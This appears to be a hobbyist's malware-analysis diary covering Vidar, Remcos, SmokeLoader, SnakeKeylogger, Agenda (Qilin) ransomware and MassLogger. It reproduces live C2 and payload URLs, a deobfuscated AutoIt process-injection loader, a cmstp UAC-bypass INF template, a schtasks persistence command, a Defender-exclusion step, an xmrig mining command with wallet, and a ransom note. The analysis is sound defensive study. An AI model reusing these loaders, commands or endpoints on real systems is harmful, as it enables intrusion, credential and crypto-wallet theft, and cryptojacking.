All Analysis
VIDAR Malware
Dropper SHA256: b30e7cf92bdb26c05c226e0d5c82ce839a90cbef61a7a5305bd3fae87905090f
Logger/Stealer SHA256: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed
REMCOS RAT Malware
sha256: 52db756a72b71d461eb46a8f40e04c6e594c1f3c5da27901c2a47f890dd279f8
SMOKELOADER Malware
sha256: ff5fc5c5318fa051992c7c3408d203f306c13b5fcd9400f860f734ce47a3b676
SNAKEKEYLOGGER Malware
sha256: fa462108bc863ef19bb7572e7c77ab4f4b5694ae292e06d007418863e4b45d7e
AGENDARANSOMWARE Malware
sha256: e90bdaaf5f9ca900133b699f18e4062562148169b29cb4eb37a0577388c22527
MASSLOGGER Malware
sha256: 7e3317f91f7d8e570800045ca8ba7e2ff136e0ea3621ed1deca8b7763b45f624
XWORM Malware
sha256: f702386d9edceea53e49ba27e508baf34eeaa0ad5a87fb70913f95330dbc92a3
DARKCLOUD Malware
sha256: 0f33de6cb6b6b634897593064b4922da5df3eb588589eb09c5fb2544bfb824ac
DONUTLOADER Malware
sha256: 3a6e6e8548ab3b9b8224dfcfb3b7838949ee5ad7b029c16e235d9c81ad653a6b
MIRAI Malware
sha256: 0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b
APOLLOSHADOW Malware
sha256: 13fafb1ae2d5de024e68f2e2fc820bc79ef0690c40dbfd70246bcc394c52ea20
AMATERASTEALER Malware
sha256: 73fd51d4a0959e5c5a82db9be0d765069d02a2b97f51f55f5d6422a7bec01caa
STEALC Malware
sha256: bca8165af010669746ef22d0a07c6f5d3557a55d92749c4e81881ffc928f23e5
PHANTOMSTEALER Malware
sha256: 57a71e4d5ce81f7931e9f9814b2ba93127f3238d76afcb7ece25d27dbd3d5d12
OctoRAT
sha256: 360e6f2288b6c8364159e80330b9af83f2d561929d206bc1e1e5f1585432b28f
Albiriox
sha256: a1ed3680956862e0b42a8237a5a57669fb127cc76937a6494ed684404d98a92b
Analyzed just for practice and fun
SHA256: fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894
SHA256: 48126e558daec7e93f455c1268e37cab6e4754e245568fc6d8beb54277addef7
Vidar
Dropper
This is a dropper ps1 script for Vidar malware.
Variables are encoded after starting script, my guess is this way used for evading AVs.
Looking at the decoded variables, script’s functionality can be guessed.
This part will create `%LOCALAPPDATA%` if it doesn't exist. Out-Null is used to not output anything to pipelines.
This is the location the file will be saved.
First command will download malware from `https://vx-events.com/build.exe`, in case of error, process will stop.
Second command will hide the folder. (C:\Users\\\Now, Add-Exclusion is a function, that is used for defence evasion:
Add-MpPreference is used for modifying Windows Defender settings. This command will try to add new Exclusion Path to defender, which is:
`C:\Users\Start-Process, will start the C:\Users\<user>\AppData\Local\updater.exe with Window Style hidden, Run as Administrator option, and -Wait is used to suppresses the command prompt until the processes finish.
finally part is used to remove clean everything, leave a fake message to Host and finish script.
Continue: 9e126eb3b73eeae34c46a4b3dc9dc184a19708fd2b2433302c69e6c06b3929ed
Logger/Stealer
To start Analysis, I put updater.exe in %LOCALAPPDATA%. Uncheck “DLL can move” in DllCharacteristics. Load malware inside x32dbg
Checking the strings of malware, C2 server’s http address can be seen:
And as it can be seen from strings, malware utilizes third string as user_agent.
Now the important part for us is, CreateProcessW which creates another process of itself from same directory. My guess is, it is used for avoiding detection, later current process will write memory of child process:
in our case, 0x43C is handle to child process and 0x3FC0E60 is address of the data that will be written into 0x400000 and size is 0x400, this WriteProcessMemory will happen a lot of times in a row, especially in 7 times a row:
I dont want to list all WriteMemoryProcess as later we can just check 0x400000 in child process if needed. The last WriteProcessMemory address is 0xE4F008 (changes everytime).
as we move along, ResumeThread function is called in parent process, which will start the logger (child process). I attach debugger to child process and continue process in parent process.
After checking strings of child process, it can be seen, it needs 149 functions from these dlls: kernel32, ntdll, advapi32, user32, gdi32, shell32, ole32, ws2_32, shlwapi, wininet, bcrypt, dbghelp, msvcrt
Now the important part starts for us at 0x417210, analyzing this process step by step is a little difficult because of so many unnecessary/necessary jumps, there is just a lot, so it doesn’t help. Even just putting breakpoints over the functions that process will call, can be easier.
Later in process, a new directory will be created under C:\ProgramData\ with random name. (in my case y5ppz)
InternetCrackUrlA will be called to crack https://t.me/l793oy into components
InternetConnectA used to connect t.me using handle returned by InternetOpenA
HttpOpenRequestA sends request using handle to t.me:
After t.me, process will do same things for https://e.mx.goldenloafuae.com which I suspect is C2. some sandboxes, analyzers didn’t specify this url and at the moment this server is down.
As https://e.mx.goldenloafuae.com is still up, it was obvious that malware was sending, getting encrypted data. Such paths that were queried by malware were:
“C:\Users\eyes\AppData\Local\Google\Chrome\User Data\.” “C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\.”
Later the files that were found would be copied into the folder that was created by malware:
CopyFileA (function used) 1: “C:\Users\eyes\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\000004.log” 2: “C:\ProgramData\y5ppz\jmgvk6ppph4e”
After sending files to attackers, malware deletes files.
I will also attach 1 example file that was copied (which is hard to make sense).
Also don’t forget, in my case only Chrome was installed, so it only stole its logs. The malware looks for:
-
Microsoft Edge
- Path:
\Microsoft\Edge Beta\User Data
- Path:
-
Google Chrome
- Path:
\Google\Chrome SxS\User Data
- Path:
-
Microsoft Edge SxS
- Path:
\Microsoft\Edge SxS\User Data
- Path:
-
Epic Privacy Browser
- Path:
\Epic Privacy Browser\User Data
- Path:
-
CocCoc Browser
- Path:
\CocCoc\Browser\User Data
- Path:
and the reason it checks extensions is:
-
TON Wallet
-
MyTonWallet
-
Alephium Wallet
-
Solflare
-
Trust Wallet
-
Hashpack
-
Leap Terra
-
Authenticator
-
Bitwarden
-
Oxygen (Atomic)
-
Ecto Wallet
-
Morphis Wallet
-
GeroWallet
-
UniSat Wallet
-
Pontem Wallet
-
Xverse Wallet
-
Venom Wallet
-
PaliWallet
-
Fluvi Wallet
-
Backpack Wallet
-
OKX Web3 Wallet
-
HAVAH Wallet
-
OpenMask Wallet
-
Rainbow Wallet
-
SafePal Wallet
-
KardiaChain
-
RoninWalletEdge
-
NamiWallet
-
KeePass Tusk
-
Frontier Wallet
-
Bitget Wallet
-
CyanoWallet
-
Ronin Wallet
-
MetaMask
-
Talisman Wallet
as it was clear how malware was functioning, I stopped analyzing. There were other notable functionalities of malware such as mapping hostnames of AVs to 127.0.0.1 so user will not be able to use any AV (Download or online check)
My suspicion is “https://t.me/l793oy” and “https://steamcommunity.com/profiles/76561199829660832” are used for C2 server
Remcos
Rat
At the time of writing it is around a day that malicious script appeared in wild. To practice and improve myself I chose this malware.
For now in virustotal, it can be seen that malware is only detected by 9 AVs and the server for downloading second payload (png file) is still available to be downloaded.
Starting with analysis, The file’s size is really big but only reason for it was repeat of same 10 lines.

Using ASCII table we can replace all occurrences of these variables with their Char values.
At first it looked like it is only repeating same 10 line for increasing file size (to look legit), but one more reason was probably trying to hide obfuscated code. (Maybe not but only good explanation is this)

At first it might not make sense but you can obviously see same pattern repeat in obfuscated code:
"⏳लბ⣿༑₫ᨑԿ🖲ᅫҌ⊣ሒȪ⟚"
and payload use categorised(ByVal inputText) function to deobfuscate it. (By removing repeating line)

In this situation manually writing deobfuscater would be possible to but, it is waste of time. I just changed dozens = categorised(dozens) with WScript.Echo categorised(dozens) (Don’t forget to only copy necessary parts in new file to avoid running something dangerous). I ran the code using cscript.exe to see output in my cmd.

Now to deobfuscate, we need to replace ‘#’ with ‘A’ and convert base64 to string. Once again instead of using cyberchef I just run powershell code with removing Invoke-Expression and beautify it a little bit. This is the code that downloads second file. (png)
A day later, the malicious file was deleted from server but I installed it before, so I can continue my analysis. I will also upload file to malware bazaar for anyone that needs it to analyse on his own.
This image file has Data starting with ‘<<BASE64_START>>’ and ends with ‘<<BASE64_END>>’ after decoded it is uploaded to memory but I modified code and used function:
[System.IO.File]::WriteAllBytes("C:\dnlib_image.dll", $cleared)
to save it in a file and when we load this dll to dnspy-x86, it loads it as Microsoft.Win32.TaskScheduler, Version=1.1.0.0 and dnlib inside, which is necessary part of us:

You can check out Robson Felix’s VMDetectorto understand how it works. I modified qemu strings in my system so I have 0 “qemu” string, which helps me avoid detection. this script is really basic as it checks for only “qemu” (easy to stay undetected). Note: Even though this malware has function to check detect vms, it doesn’t use it. (if you remember the arguments given when VAI is called, they are necessary part of this function)
In next line we can see the malicious code calling specific function that is interesting for us, VAI.

some of the variable names are written in Spanish, which might be a tip for malware writer being Spanish. (Of course, it is not a guarantee)
I have written custom code in C# to be able to manually debug this dll.
The functions, VAI didn’t use: persistence, startuptask, startupreg (even though it could). (To make it clear these are not function names, these are variables)
Moving on, startup_onstart is actually used, let’s understand what it does. Before understanding the function, I retrivied Hashtable values that are used through dll and saved all of them to single file to make analysis easier.
This is the part we have to analyze now:
if (flag12)
{
bool flag13 = !File.Exists(Path.Combine(caminho, nomedoarquivo + \uE11C.\uE000(12567) + extençao));
bool flag14 = flag13;
if (flag14)
{
Process.Start(new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = \uE11C.\uE000(12607), // "cmd.exe"
Arguments = string.Concat(new string[]
{
// "/C copy *."
\uE11C.\uE000(12599),
// "vbs"
extençao,
// " \""
\uE11C.\uE000(12770),
// 1. @"C:\ProgramData" 2. "millipascals"
Path.Combine(caminho, nomedoarquivo),
// "."
\uE11C.\uE000(12567),
// "vbs"
extençao,
// "\""
\uE11C.\uE000(12282)
})
}).WaitForExit();
}
Loader.ExecutarMetodoVAI(taskname, caminho, nomedoarquivo, extençao);
}
Basically checks if file exists, if not, starts new process: `cmd.exe /C copy *.vbs “C:\ProgramData\millipascals.vbs” copies the vbs file to its new location.
ExecutarMetodoVAI is called with arguments: "blinkered" @"C:\ProgramData" "millipascals" "vbs"
at first line, function searches for specific string in resources:
string text = Array.Find<string>(Assembly.GetExecutingAssembly().GetManifestResourceNames(), new Predicate<string>(Loader.<>c.<>9.\uE000));
When using dnspy, it hides compiler generated types and modules by default which you need to enable.
The (Loader.<>c.<>9.\uE000) sets condition true if “string” ends with “UAC.dll”
and in next lines, first stream is loaded into an array and array was loaded to caller program (powershell):
byte[] array;
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(text))
{
using (MemoryStream memoryStream = new MemoryStream())
{
manifestResourceStream.CopyTo(memoryStream);
array = memoryStream.ToArray();
}
}
Assembly assembly = Assembly.Load(array);
and calls “Main” method in UAC.dll (type:UAC.Program).

Which I will use new custom script to run it and debug manually.
First thing “UAC.dll” does is create a new string:
@"cmd.exe /c powershell -Command ""schtasks /Create /TN 'blinkered' /TR 'wscript.exe C:\ProgramData\millipascals.vbs' /SC ONSTART /RL HIGHEST /RU SYSTEM /F""" with given parameters.
- Generates new inf file under temporary path.
- Changes “REPLACE_COMMAND_FILE” in
private static string INF_TEMPLATE = "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"CorpVPN\"\r\nShortSvcName=\"CorpVPN\"";with the command created before. - writes this to inf file.
Part 2:
- Checks if file: “C:\Windows\system32\cmstp.exe” exists.
- if it does, Start new process:
C:\Windows\system32\cmstp.exe /au "<inf_file_path>" - Basically creates new process to run at every startup for persistence purposes.
- Why use cmstp.exe? To avoid some detections.
That’s all with UAC.dll, now we have to go back to dnlib.IO.Home.VAI.
To sum up, in next steps malicious dll function launches MsBuild.exe and modifies its code and resumes thread.
- new process: MsBuild.exe created.
- Allocate new space
- Write the malicious program at address: 0x400000
What I did was copy every data that is written and combine them to get a single exe file (Microsoft Visual C++ 8)
copy /b to400000.bin+to401000.bin+to459000.bin+to472000.bin+to478000.bin+to47D000.bin combined.exe
So, the reason malware loads the exe file into MsBuild.exe is actually utilizing its capabilities (and hiding). So it might be possible to debug program alone but it is hard, so I will just debug it inside MsBuild.exe. I also found a key point in code like this:
unaff_ESI = FUN_0040e560(0x400000,0,pcVar7); which I guess probably where we need to start from, because inside this function, it is also prossible to clearly see some interesting strings.
The strings clearly indicate the capabilities of malware: RAT, keylogger, stealer, logger.
By the way, Remcos RAT is available here to explore its capabilities.
After analyzing the exe file, the key points that can be addressed is:
- Malware use GetProcAddress function to find address of the functions it is going to use (which can make static analysis a little bit difficult), but you can basically change heap variable name’s function name (for example in ghidra)
- Malware keep trying to connect with “relentlesswicked.duckdns.org”/“relentless.webredirect.org”, which it can’t, because it is down.
- The rest is specifically about remcos itself which if needed can be analyzed on its own, and it is not that hard as it is not packed or obfuscated.
SmokeLoader
Loader
I started analyzing the malware for a day, mostly using dynamic analyse tools. Normally the file that is downloaded is around 100kb but after unpacking itself, it is around 30kb. We need to put hardware breakpoint at 0x401ae0 to be able to dynamically debug program. (Note: I also put software breakpoint but after breakpoint hit, I removed it for further analysing).
Also I dumped process to ghidra, so I can do static analysis too. If you check memory in x32dbg or SystemInformer, everything can be Read/Written/Executed. That’s why it can rewrite itself.
NOTE: The reason, we must not use software breakpoint is, it modifies malware’s code by adding CC at start of the assembly code, unpacking the code will cause issues.

Later analyzing the code, I realized some parts of the executable is still encoded, I let malware execute itself till 0x401BCD so it can decode these parts, then dumped. Which later, I realized it didn’t really decode and check ghidra again for any tips. There it is, code is actually decoding -> executing -> encoding itself. (Polymorphic) Which is why I couldn’t do static analyzes:

What I will actually do is, again execute code but now, I will stop at when the part is executed so I can copy and paste it into my dumped exe file. For example, 0x40410a etc.
Alright so, I changed bytes of the parts we need for further analyzing. the first function at 0x40410a is putting functions’ address from dlls to uninitialized DATAs:
(it is longer)
It will not be really hard to rename DATAs in ghidra to function names for static analysis. Which is what I am going to do next.
After Renaming variables, it is a lot more easier to do static analysing but there are still some functions that use decoder() function in itself. That means I have to also rewrite their bytes.
Okay so as I progress, I try as much as I can to do static analysis and understand each function, I did few discoveries and 1 of the important ones is:

As I renamed, it checks for file name and returns accordingly, in our case as I run it first time with random name, it will return 0x10 but there are other possibilities too, which I might check if needed. That’s the exact way malware searches for file names:

Which is not that hard to understand.
Sadly, while analysing this malware, I had to take break for a while (final exams in university) so I couldn’t focus on the malware. But I can say, I did important parts like decoding some parts, to explain what the dropper part does is, (not really dropper because malware itself is actually as a whole doing everything) just delete WinSrv32 file and terminate any process with this name, write itself (or a part of itself), I couldn’t analyse these parts as I dont have a lot of time. then start executing itself from there. I will provide smokeloader ghidra zip, because I believe it is not something to drop in trash, maybe 1 day I might come back and look into this and finish the job. I dont really know. (ghidra zip is in same folder as this file). (also provided dd32 file to know where the breakpoint has to be).
SnakeKeylogger
Logger
So normally, it is easier to analyze .NET variants of this malware as there are nearly no obfuscation, (maybe some simple encryption and variable names) so I decided to get C++ compiled binary around 1mb and analyze it, but I checked binary graph, anti-debug techniques and I think only protection they put is, checking if “IsDebuggerPresent”, like there is nothing else, everything is so clear so I will just list key points of malware.
First time I opened malware in ghidra, the thing that was so interesting to me was, there a lot of imports of APIs and none of them were hidden or anything. Just wanted to check 1 of the APIs, found reference to it and traced back to see where the call was from and I hit the jackpot.
The Function at 0x414800 :

As you can see there is “if” statement, why? at first it actually initialize, the struct of the functions, luckily all of them have clear names so it is easy to understand what they do. Alright so, after initializing, other functions can search for function names one by one and find the function they need. Also, malware gives an hint on what these are, if you try to search for references of “IsDebuggerPresent”, you will find:

Funny right? Malware literally tells us everything we need. This is AutoIT script, If you wonder what it is, it is used for automation processes using keyboard, mouse movement etc. Note: You can also patch IsDebuggerPresent and debugger without any issue, or just use scyllahide.
Note 2: I also forgot to mention that in “strings” of the malware you can easily see BACKSPACE, ESC, Mouse related strings, numpad etc. the strings that are related to date/time etc.
What we found out so far is, malware is keylogger and botnet, maybe there are more that I missed but I believe I got everything right.
Now, to understand in which order the malware calls functions, I found a technique that you can also write r2 or x32dbg script to automate:
First we put breapoint at, 0x414800, after breakpoint is hit, you gonna see the value in stack is “0x0”, so it is only for initialization stage, continue one more time and check call stack, call is from 0x41C64A.

So, it is obvious, this function searches for specific function name, if you put breakpoint at _wcscmp 0x41C654, you can see every function it tries to search for and maybe you can even trace into the functions for more detail.
I believe this is enough for SnakeKeylogger analysis.
AgendaRansomware
Ransomware
Note: I usually analyze malware and write randomly to remember my progress, most of my reports are not detailed and clean, it is just like a diary.
Day 1:
I wanted to analyze my first ransomware to learn something new and chose AgendaRansomware (I don’t really know why). Anyways this is a 1.6mb rustc compiled binary. At first sight, it feels like there is no obfuscation and easy to analyze, but later on I found out, there is something disrupting static analysis. So far I found 2 things:


Ghidra can’t disassemble because of these 2 additions made on malware, but luckly it is easy to fix, I will just write script to replace all of them with “NOP” and issue will (probably) going to be solved.
Other than that, I found out we have to provide “–password <pass>” to binary, else it will not be executed. That password is actually used later as login credential to a domain in tor network and requesting chiper/tool to decrypt files (by paying for it). Other than that, Malware also gives us logs:
[WARNING] Cannot open service: [BrokerInfrastructure]: 5 Service [CryptSvc] stopped Service [CryptSvc] disabled Service [DoSvc] stopped [WARNING] Cannot disable [DoSvc]: 5 [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [NlaSvc]: 1051 Service [NlaSvc] disabled [WARNING] Cannot stop [EventLog]: 1051 Service [EventLog] disabled [WARNING] Cannot open service: [gpsvc]: 5 [WARNING] Cannot open service: [MDCoreSvc]: 5 [WARNING] Cannot open service: [mpssvc]: 5 [WARNING] Cannot stop [netprofm]: 1061 Service [netprofm] disabled [WARNING] Cannot stop [NlaSvc]: 1051 Service [NlaSvc] disabled
And more, like which file it encrypted etc.
README-RECOVER-<extension>.txt contains this:
-- Qilin
Your network/system was encrypted.
Encrypted files have new extension.
-- Compromising and sensitive data
We have downloaded compromising and sensitive data from you system/network
If you refuse to communicate with us and we do not come to an agreementyour data will be published.
Data includes:
- Employees personal dataCVsDLSSN.
- Complete network map including credentials for local and remote services.
- Financial information including clients databillsbudgetsannual reportsbank statements.
- Complete datagrams/schemas/drawings for manufacturing in solidworks format
- And more...
-- Warning
1) If you modify files - our decrypt software won't able to recover data
2) If you use third party software - you can damage/modify files (see item 1)
3) You need cipher key / our decrypt software to restore you files.
4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions.
-- Recovery
1) Download tor browser: https://www.torproject.org/download/
2) Go to domain
3) Enter credentials
-- Credentials
Extension: MmXReVIxLV
Domain: ueegj65kwr3v3sjhli73gjtmfnh2uqlte3vyg2kkyqq7cja2yx2ptaad.onion
login: 6f031ccd-526a-4806-82a8-2e7d926243d4
password: test
After walking inside the binary a little bit, i found out that, “CreateThread” functions play big role in the malware, in some parts of the malware, payloads are, let’s say “hidden” and malware use “CreateThread” to start execution from these address. in ghidra they are not disassembled, instead shown as “DATA”. My main purpose in this malware is finding out how the files are encrypted. Additionally, malware also disables some services, choosing which files to encrpyt (by comparing with the extensions), which I might look into deeply.
What I found out from dynamic analysis is, malware uses EnterCriticalSection API to check file extensions and encrypt if it doesn’t get in conflict.
Day 2:
Alright so today I got a little bit near to success, as I found out where malware decrypts strings. And luckly it doesn’t encrypt back so i can dump them all. it is going to help a lot for success.


Note: I will dump as many as strings possible (all of them) and save it in a file and save in github repo.
Additionally, I found out malware uses GetProcAddress to get NtWriteFile address and call it in a stealthy way. How it works is exactly like this:

Changes function itself with “NtWriteFile” address, so next time it calls this function, it actually calls itself. Same thing was done for other functions too, like: NtReadFile, NtCreateKeyedEvent…
Process of encryption:
NtCreateFile: get file handle NtQueryInformationVolume, NtQueryInformationFile: Check the extension of file (eg. .exe) compare with blacklisted extensions and choose to encrypt or not. The flags that can be configured before running ransomware are: skip, step, n, p, fast, accounts. In my version of agenda ransomware there is no guide on how to use them and some flags that are available in newer versions are not available to me. Example usage is this: “ ./ransomware.exe –password test “skip: 10; fast” “
NtCloseFile
NtReadFile: Read contents, encypt them.
NtWriteFile: Write encrypted content.
Now, where is content encypted? in my version of agenda ransomware, function is located at 0x42edf0 which, using registers as arguments instead of stack. The decompiled function has length of around 875 lines, which is waste of time to analyze one by one. But it is the function. Additonally, analyzing this function will reveal the key itself.

MassLogger
Logger
MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)
Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.

There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.
This is the malware flow I made while analyzing the malware:

NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don’t want to repeat it every time. At the top you can see a binary file named “sqNnY.bin”, it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted “aLlTeucWnrhechxHC.bin”, first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next “installer” is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:
#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce
Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)
Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit
Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next
Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]
If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)
Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named “nwekwowlwhwcogczoft”.
“nwekwowlwhwcogczoft” is simple C2 that can do 3 things “exit”, “update”, “stealer”.
Simple and clear flow:
- Checks if “Software\rub” registry is written, if it is not created, tries to download “http://176.98.187.46:1778/stealer”
- Checks if the size of “stealer” more than 1000000, if yes, executing it. else pass.
- if “Software\rub” was not created, creates it.
- Checks if a file named “paygab” exists in %LOCALAPPDATA%, if so, xor it with “0x60” and execute it.
- if paygab doesn’t exist, downloads “http://176.98.187.46:1778/miner” and executes it.
- miner will check if “sigverif.exe” is running, if so terminates it.
- Opens new “sigverif.exe” process, allocates space, writes the open source project named xmrig to be able to mine.
- Executes command:
C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"
NOTE: This is new malware sample, as I was first person to submit this sample to virustotal and malware bazaar
- Going back to “nwekwowlwhwcogczoft”, after trying these things, it checks status of our machine by using InternetOpenUrl API “http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx” (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands “stealer”/“custom” (same thing), “exit”, “update”.
- why “stealer/custom” can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
- other 2 “exit” and “update” are obvious, what they are.
There is a few possible case in our situation:
- the fake stealer is to take time of reverse engineers/malware analysts.
- it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc. or the attacker itself chooses which machines to send the real stealer. (most realistic case)
This was end of the “nwekwowlwhwcogczoft” executable.
The real deal was actually, “sqNnY.bin”. Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After “xor”-ing it with the key even after you check the file type, it says “not a PE file”. Also there is no “MZ” at the first 2 bytes of file. After a little, let’ say “OSINT”, I found out the “pe to shellcode” project was used for doing this: pe_to_shellcode. A free but powerful project.
“The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer’s ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE.”
The point is, it really makes 0 sense when you look at the file, it is just a bunch of bytes. There is literally not a single string, not even “This program cannot be run in DOS mode” (because it is shellcode not PE). But the thing is, it is possible to manually extract malware. It was not that hard as I could find some APIs used by shellcode, like VirtualAlloc, memset, etc.
I could extract malware and check in virustotal, if the malware is submited before and I was the first person to submit it too. malware bazaar and virustotal

It is .NET 32-bit executable with 0 encryption. and the funny part is malware developers choose this as their signature:

As it is not encrypted or anything I will just basically list what is can does and end it here:
-
Checks if user (victim) is expired by comparing time to “2025-02-15” (if yes exit)
-
runs through 3 empty functions, probably not implemented by malware dev for now: UltraSpeed.Taskmgr_Disabler(); UltraSpeed.CMD_Disabler(); UltraSpeed.Registeries_Disabler();
-
Tries to steal data from these browsers:
Chrome_Speed
Torch_Speed
CocCoc_Speed
QQ_Speed
xVast_Speed
QIPSurf_Speed
Microsoft_Speed
Chromium_Speed
Blisk_Speed
Brave_Speed
Nichrome_Speed
Kometa_Speed
Superbird_Speed
Opera_Speed
Comodo_Speed
Cent_Speed
Chedot_Speed
Ghost_Speed
Iron_Speed
UC_Speed
BlackHawk_Speed
Citrio_Speed
Uran_Speed
Falkon_Speed
Sputnik_Speed
CoolNovo_Speed
Chrome_Canary_Speed
Sleipnir_Speed
Kinzaa_Speed
Amigo_Speed
Epic_Speed
e360_English_Speed
e360_China_Speed
Vivaldi_Speed
Xpom_Speed
orbitum_Speed
Iridium_Speed
SevinStar_Speed
Outlook_Speed
Foxmail_Speed
FireFox
SeaMonkey
IceDragon
Thunderbird
FileZilla_Speed
WindowsKey_Speed
- sends these data using these:
